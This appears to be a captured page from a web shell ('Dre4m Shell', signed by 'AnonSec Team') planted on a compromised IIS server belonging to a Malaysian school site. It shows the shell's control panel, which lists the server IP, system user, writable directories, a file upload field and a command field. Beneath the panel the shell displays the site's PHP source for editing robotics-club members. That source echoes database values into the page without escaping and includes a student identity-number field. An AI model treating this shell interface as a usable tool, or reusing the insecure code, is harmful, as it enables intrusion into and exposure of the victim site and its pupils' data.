Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 3.147.82.252
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/smsmalor/smsmalorsetar.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/smsmalor/smsmalorsetar.com/wwwroot/edit_robotik_jawatan.php
<?php require_once('Connections/mentorpbs.php'); ?>
<?php
if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
{
  $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;

  $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;    
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}
}

$editFormAction = $_SERVER['PHP_SELF'];
if (isset($_SERVER['QUERY_STRING'])) {
  $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']);
}

if ((isset($_POST["MM_update"])) && ($_POST["MM_update"] == "form1")) {
  $updateSQL = sprintf("UPDATE robotik_kelas_jaw SET tahun_jaw=%s, jawatan_id=%s, catatan=%s WHERE id_ahli=%s",
                       GetSQLValueString($_POST['list_tahun'], "text"),
                       GetSQLValueString($_POST['list_jawatan'], "int"),
                       GetSQLValueString($_POST['text_catatan'], "text"),
                       GetSQLValueString($_POST['id_ahli'], "int"));

  mysql_select_db($database_mentorpbs, $mentorpbs);
  $Result1 = mysql_query($updateSQL, $mentorpbs) or die(mysql_error());

  $updateGoTo = "kemas_ahli_robotik_kelas_jaw.php";
  if (isset($_SERVER['QUERY_STRING'])) {
    $updateGoTo .= (strpos($updateGoTo, '?')) ? "&" : "?";
    $updateGoTo .= $_SERVER['QUERY_STRING'];
  }
  header(sprintf("Location: %s", $updateGoTo));
}

$colname_Recordset_edit_robotik_kelas = "-1";
if (isset($_GET['recordID'])) {
  $colname_Recordset_edit_robotik_kelas = $_GET['recordID'];
}
mysql_select_db($database_mentorpbs, $mentorpbs);
$query_Recordset_edit_robotik_kelas = sprintf("SELECT* FROM robotik_kelas_jaw   INNER JOIN login_robotik ON login_robotik.my_nokp=robotik_kelas_jaw.nokp_ahli  INNER JOIN kelas ON kelas.kelasid=robotik_kelas_jaw.kelas_id WHERE id_ahli = %s", GetSQLValueString($colname_Recordset_edit_robotik_kelas, "int"));
$Recordset_edit_robotik_kelas = mysql_query($query_Recordset_edit_robotik_kelas, $mentorpbs) or die(mysql_error());
$row_Recordset_edit_robotik_kelas = mysql_fetch_assoc($Recordset_edit_robotik_kelas);
$totalRows_Recordset_edit_robotik_kelas = mysql_num_rows($Recordset_edit_robotik_kelas);

mysql_select_db($database_mentorpbs, $mentorpbs);
$query_Recordset_kelas = "SELECT * FROM kelas";
$Recordset_kelas = mysql_query($query_Recordset_kelas, $mentorpbs) or die(mysql_error());
$row_Recordset_kelas = mysql_fetch_assoc($Recordset_kelas);
$totalRows_Recordset_kelas = mysql_num_rows($Recordset_kelas);

mysql_select_db($database_mentorpbs, $mentorpbs);
$query_Recordset_jawatan = "SELECT * FROM jawatan";
$Recordset_jawatan = mysql_query($query_Recordset_jawatan, $mentorpbs) or die(mysql_error());
$row_Recordset_jawatan = mysql_fetch_assoc($Recordset_jawatan);
$totalRows_Recordset_jawatan = mysql_num_rows($Recordset_jawatan);
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
<style type="text/css">
<!--
.style1 {
	font-size: 24px;
	color: #0000FF;
}
-->
</style>
</head>

<body>
<div align="center" class="style1">KEMAS KINI MAKLUMAT JAWATAN AHLI KELAB ROBOTIK (PENGURUSAN)</div>
<p>&nbsp;</p>
<p align="center"><img src="images/robotik/<?php echo $row_Recordset_edit_robotik_kelas['username']; ?>.jpg" alt="" width="138" height="169" /></p>
<p>&nbsp;</p>
<form action="<?php echo $editFormAction; ?>" method="post" name="form1" id="form1">
  <table align="center">
    <tr valign="baseline">
      <td nowrap="nowrap" align="right">Id_ahli:</td>
      <td><?php echo $row_Recordset_edit_robotik_kelas['id_ahli']; ?></td>
    </tr>
    <tr valign="baseline">
      <td nowrap="nowrap" align="right">Nama:</td>
      <td><?php echo $row_Recordset_edit_robotik_kelas['username']; ?></td>
    </tr>
    <tr valign="baseline">
      <td nowrap="nowrap" align="right">No Kad Pengenalan Ahli:</td>
      <td><?php echo $row_Recordset_edit_robotik_kelas['my_nokp']; ?></td>
    </tr>
    <tr valign="baseline">
      <td nowrap="nowrap" align="right">Tahun - Tingkatan::</td>
      <td><label><?php echo $row_Recordset_edit_robotik_kelas['tahun_tk']; ?></label></td>
    </tr>
    <tr valign="baseline">
      <td nowrap="nowrap" align="right">Tingkatan / Kelas:</td>
      <td><?php echo $row_Recordset_edit_robotik_kelas['tingkatan']; ?><?php echo $row_Recordset_edit_robotik_kelas['namakelas']; ?> </td>
    </tr>
    <tr valign="baseline">
      <td nowrap="nowrap" align="right">Tahun - Jawatan:</td>
      <td><select name="list_tahun" id="list_tahun">
        <option value="0" selected="selected" <?php if (!(strcmp(0, $row_Recordset_edit_robotik_kelas['tahun_jaw']))) {echo "selected=\"selected\"";} ?>>-</option>
        <option value="2015" <?php if (!(strcmp(2015, $row_Recordset_edit_robotik_kelas['tahun_jaw']))) {echo "selected=\"selected\"";} ?>>2015</option>
        <option value="2016" <?php if (!(strcmp(2016, $row_Recordset_edit_robotik_kelas['tahun_jaw']))) {echo "selected=\"selected\"";} ?>>2016</option>
        <option value="2017" <?php if (!(strcmp(2017, $row_Recordset_edit_robotik_kelas['tahun_jaw']))) {echo "selected=\"selected\"";} ?>>2017</option>
        <option value="2018" <?php if (!(strcmp(2018, $row_Recordset_edit_robotik_kelas['tahun_jaw']))) {echo "selected=\"selected\"";} ?>>2018</option>
        <option value="2019" <?php if (!(strcmp(2019, $row_Recordset_edit_robotik_kelas['tahun_jaw']))) {echo "selected=\"selected\"";} ?>>2019</option>
        <option value="2020" <?php if (!(strcmp(2020, $row_Recordset_edit_robotik_kelas['tahun_jaw']))) {echo "selected=\"selected\"";} ?>>2020</option>
      </select></td>
    </tr>
    <tr valign="baseline">
      <td nowrap="nowrap" align="right">Jawatan:</td>
      <td><label>
        <select name="list_jawatan" id="list_jawatan">
          <?php
do {  
?>
          <option value="<?php echo $row_Recordset_jawatan['id_jawatan']?>"<?php if (!(strcmp($row_Recordset_jawatan['id_jawatan'], $row_Recordset_edit_robotik_kelas['jawatan_id']))) {echo "selected=\"selected\"";} ?>><?php echo $row_Recordset_jawatan['jawatan']?></option>
          <?php
} while ($row_Recordset_jawatan = mysql_fetch_assoc($Recordset_jawatan));
  $rows = mysql_num_rows($Recordset_jawatan);
  if($rows > 0) {
      mysql_data_seek($Recordset_jawatan, 0);
	  $row_Recordset_jawatan = mysql_fetch_assoc($Recordset_jawatan);
  }
?>
        </select>
      </label></td>
    </tr>
    <tr valign="baseline">
      <td nowrap="nowrap" align="right">Catatan:</td>
      <td><label>
        <input name="text_catatan" type="text" id="text_catatan" value="<?php echo $row_Recordset_edit_robotik_kelas['catatan']; ?>" size="100" maxlength="100" />
      </label></td>
    </tr>
    <tr valign="baseline">
      <td colspan="2" align="right" nowrap="nowrap">&nbsp;</td>
    </tr>
    <tr valign="baseline">
      <td colspan="2" align="right" nowrap="nowrap"><div align="center">
        <input type="submit" value="KEMAS KINI" />
      </div></td>
    </tr>
  </table>
  <input type="hidden" name="MM_update" value="form1" />
  <input type="hidden" name="id_ahli" value="<?php echo $row_Recordset_edit_robotik_kelas['id_ahli']; ?>" />
</form>
<p>&nbsp;</p>
<p>&nbsp;</p>
</body>
</html>
<?php
mysql_free_result($Recordset_edit_robotik_kelas);

mysql_free_result($Recordset_kelas);

mysql_free_result($Recordset_jawatan);
?>

Anon7 - 2022
AnonSec Team